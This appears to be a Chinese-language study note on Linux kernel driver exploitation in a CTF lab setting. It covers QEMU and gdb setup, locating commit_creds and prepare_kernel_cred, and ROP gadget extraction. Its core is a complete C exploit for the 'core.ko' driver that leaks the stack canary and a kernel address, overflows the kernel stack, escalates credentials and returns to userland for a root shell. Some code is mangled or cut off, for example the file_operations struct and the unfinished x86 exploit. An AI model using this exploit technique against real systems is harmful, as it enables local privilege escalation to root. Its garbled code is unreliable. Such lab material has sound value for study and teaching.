驱动漏洞
确定结构大小:写个驱动输出
86 eax edx ecx
64 edi esi edx
起qemu
qemu-system-i386 -kernel bzImage -initrd rootfs.img.gz -append “root=/dev/ram rdinit=/sbin/init”
qemu-system-x86_64 -s-enable-kvm -cpu kvm64,+smep -m 64M
-kernel ./bzImage -initrd ./rootfs.cpio
-append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr”
-smp cores=2,threads=1,sockets=1 -monitor /dev/null -nographic 2>/dev/null
编译
gcc muhe_test_syscall_lib.c -o muhe -static
查提权地址
/ # grep commit_creds /proc/kallsyms
c11b7bc0 T security_commit_creds
c15f8ed0 r __ksymtab_commit_creds
c16024d0 r __kcrctab_commit_creds
c1609215 r __kstrtab_commit_creds
/ # grep prepare_kernel_cred /proc/kallsyms
c1067fc0 T prepare_kernel_cred
c15f8eb0 r __ksymtab_prepare_kernel_cred
c16024c0 r __kcrctab_prepare_kernel_cred
c16091d9 r __kstrtab_prepare_kernel_cred
1 调试注意事项
模块在编译后按照上篇文章的方法,丢进busybox,然后qemu起内核然后调试。
由于模块并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息告知gdb,可以通过add-symbol-file命令把模块的详细信息告知gdb,由于模块也是一个elf文件,需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。
模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data,由于stack_smashing模块没有bss、data节区所以只需要指定text即可。
2 调试过程
qemu 中设置好gdbserver后,找到模块的.text段的地址grep 0 /sys/module/stack_smashing/sections/.text。
然后gdb里:
1 | $gdb vmlinux |
文件解包打包
要向系统中添加文件,就需要解包cpio文件,将文件放到目录中再打包:
123456789101112 |
`$ file rootfs.cpiorootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix$ mv rootfs.cpio rootfs.cpio.gz$ gunzip rootfs.cpio.gz$ file rootfs.cpio rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)$ cpio -idmv < rootfs.cpio// 解包完成,可以向目录中添加文件$ lsbin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr// 重新打包,不需要压缩也可以$ find . | cpio -o –format=newc > ../rootfs.cpio` |
---|---|---|
$ cat /proc/modules
pci_stub 12623 1 - Live 0x0000000000000000
vboxpci 23237 0 - Live 0x0000000000000000 (O)
无法正确显示加载地址
查了一下,是由于权限的问题。
在/proc/sys/kernel/kptr_restrict的值为1的情况下,加上 sudo 就好了。
还有一种办法是把/proc/sys/kernel/kptr_restrict设置成0即可。
$ sudo cat /proc/modules
pci_stub 12623 1 - Live 0xffffffffa0466000
vboxpci 23237 0 - Live 0xffffffffa04fb000 (O)
注册结构x64
struct file_operations {
struct module *owner;
loff_t(llseek) (struct file , loff_t, int);
ssize_t(read) (struct file , char __user , size_t, loff_t );
ssize_t(aio_read) (struct kiocb , char __user *, size_t, loff_t);
ssize_t(write) (struct file , const char __user , size_t, loff_t );
ssize_t(aio_write) (struct kiocb , const char __user *, size_t, loff_t);
int (readdir) (struct file , void *, filldir_t);
unsigned int (poll) (struct file , struct poll_table_struct *);
int (ioctl) (struct inode , struct file *, unsigned int, unsigned long);//偏移0x48
int (mmap) (struct file , struct vm_area_struct *);
int (open) (struct inode , struct file *);
int (flush) (struct file );
int (release) (struct inode , struct file *);
int (fsync) (struct file , struct dentry *, int datasync);
int (aio_fsync) (struct kiocb , int datasync);
int (fasync) (int, struct file , int);
int (lock) (struct file , int, struct file_lock *);
ssize_t(readv) (struct file , const struct iovec , unsigned long, loff_t );
ssize_t(writev) (struct file , const struct iovec , unsigned long, loff_t );
ssize_t(sendfile) (struct file , loff_t , size_t, read_actor_t, void __user );
ssize_t(sendpage) (struct file , struct page , int, size_t, loff_t , int);
unsigned long (get_unmapped_area) (struct file , unsigned long,
unsigned long, unsigned long,
unsigned long);
};
ROP操作
目标:用户空间中伪造内核栈,执行内核空间的ROP链,即在用户空间内执行内核rop gadgets提权。
ROP chain(x86_64):
4.准备Gadget(用extract-vmlinux提取elf镜像,ROPgadget寻找gadget):
1)sudo file /boot/vmlinuz*
2)sudo ./extract-vmlinux /boot/vmlinuz* > vmlinux
3)ROPgadget.py –binary ./vmlinux > ~/ropgadget.txt
4)grep ‘: pop rdi ; ret’ ropgadget.txt
5.导入有漏洞的内核模块,dmesg查看加载路径:
xor %eax,%eaxcall 0xc1067fc0call 0xc1067e20ret
kvm虚拟化错误解决
这里需要提的一点是很多人都是虚拟机里的Linux安装的qemu,这里有可能会报一个KVM的错误,这里需要开启虚拟机/宿主机的虚拟化功能。
启动后我们可以进入当前系统,如果要调试的话,我们需要在qemu启动脚本里加一条参数-gdb tcp::1234 -S,这样系统启动时会挂起等待gdb连接,进入gdb,通过命令
Target remote localhost:1234
内核提权常用地址获取方法
#define THREAD_SIZE (8192)
注:
(1)THREAD_SIZE(8K)即thread_info结构体的大小
(2)”andl %%esp,%0; “:”=r” (ti) : “0” (~(THREAD_SIZE - 1))
将内核堆栈栈顶ESP指针和(~(THREAD_SIZE - 1)相与:获得的结果为内核堆栈最底端地址(也就是结构体thread_info的地址)
//获取task_struct中cred的结构的地址
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/kthread.h>
#include <linux/errno.h>
#include <linux/types.h>
int init_module()
{
printk(“[!]current cred offset:%lx”,((unsigned long)&(current->cred)-(unsigned long)current));
return 0;
}
void cleanup_module()
{
printk(“module cleanup”);
}
//uid偏移地址
#define UID_OFFSET 4
X64 core:
驱动漏洞解压后发现core.ko驱动
Ioctl驱动控制函数中,core_read函数读取buf偏移off值的64个字节,第二个功能指定off,所以可以泄露地址,内核栈上cancry(rbp前)和kaslr(rbp后尾数为78的地址为内核地址)可以被破解。
grep commit_creds /proc/kallsyms
qemu中输入上述指令查看函数地址算出相对偏移,破解kaslr canary类似用户态直接记录。
Core_write将用户态数据写入name
Loctl第三个功能将name内容写入栈中造成栈溢出
然后由于没开semp所以可以直接覆盖ret的rip跳入用户态中,执行之前泄露的
commit_creds(prepare_kernel_cred(0));
程序成为root权限
在此之后执行
asm(
“mov $tf,%rsp;”
“swapgs;”
“iretq;”);
将内核栈转换为之前准备好的内存中调用iretq返回用户态的launch_shell执行shell成功转变为root
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/ioctl.h>
struct trap_frame{
void *rip;
uint64_t cs;
uint64_t eflags;
void *rsp;
uint64_t ss;
}attribute((packed));
struct trap_frame a[20];
struct trap_frame tf;
void launch_shell(void)
{
system(“/bin/sh\x00”);
}
void save_stats() {
asm(
“movq %%cs, %0;”
“movq %%ss, %1;”
“pushfq;”
“popq %2;”
:”=r”(tf.cs), “=r”(tf.ss), “=r”(tf.eflags)
:
: “memory”
);
tf.rip = &launch_shell;
tf.rsp =(void*)0x602864 ;
}
void prepare_tf(void)
{
return ;
}
#define KERNCALL attribute((regparm(3)))
void (prepare_kernel_cred)(void) KERNCALL = (void) 0xc1067fc0;
void (commit_creds)(void) KERNCALL = (void*) 0xc1067e20;
void payload(void){
//payload here
commit_creds(prepare_kernel_cred(0));
asm(
“mov $tf,%rsp;”
“swapgs;”
“iretq;”);
}
int main(int argc,char *argv[]){
save_stats();
int fd = open(“/proc/core”,O_RDWR);
if(!fd){
printf(“errorn”);
exit(1);
}
char buffer[64] = {0};
ioctl(fd,0x6677889C,32 ) ;
ioctl(fd,0x6677889B,buffer ) ;
int i,j;
//memset(buffer,0x41,64);s
for(i = 0;i<4;i++){
for(j = 0;j<16;j++){
printf(“%02x “,buffer[i*16+j] & 0xff);
}
printf(“ | “);
for(j = 0;j<16;j++){
printf(“%c”,buffer[i*16+j] & 0xff);
}
printf(“\n”);
}
char canary[8] = {0};
memcpy(canary,buffer+0x20,8);
printf(“CANARY:”);
for(i = 0;i<8;i++){
printf(“%02x”,canary[i] & 0xff);
}
printf(“\n”);
ioctl(fd,0x6677889C,0x50 ) ;
ioctl(fd,0x6677889B,buffer ) ;
//memset(buffer,0x41,64);s
for(i = 0;i<4;i++){
for(j = 0;j<16;j++){
printf(“%02x “,buffer[i*16+j] & 0xff);
}
printf(“ | “);
for(j = 0;j<16;j++){
printf(“%c”,buffer[i*16+j] & 0xff);
}
printf(“\n”);
}
char addr[8] = {0};
memcpy(addr,buffer+0x10,8);
printf(“addr:”);
unsigned long long int sum=0;
for( int i = 7;i>=0;i–)
{
printf(“%02x”,addr[i] & 0xff);
sum = (unsigned long long int)sum*256+(unsigned long long int) (addr[i]);
}
printf(“\n”);
sum=sum+0x0101010100010100;
prepare_kernel_cred= (void*)(sum-0X1409F1);
commit_creds=(void*)(sum-0X140DF1);
printf(“%llx”,sum);
char poc[0x80] = {0};
memset(poc,0x41,0x40);
memcpy(poc+0x40,canary,8);//set canary
*((void**)(poc+0x40+8+8)) = &payload;
printf(“[*]payload:%s\n”,poc);
write(fd,poc,0x80);
ioctl(fd,1719109786,0xffffffff00000080) ;
return 0;
}
X86 Exploit
\1. 编写的exploit代码如下:
1 | #include <stdio.h> |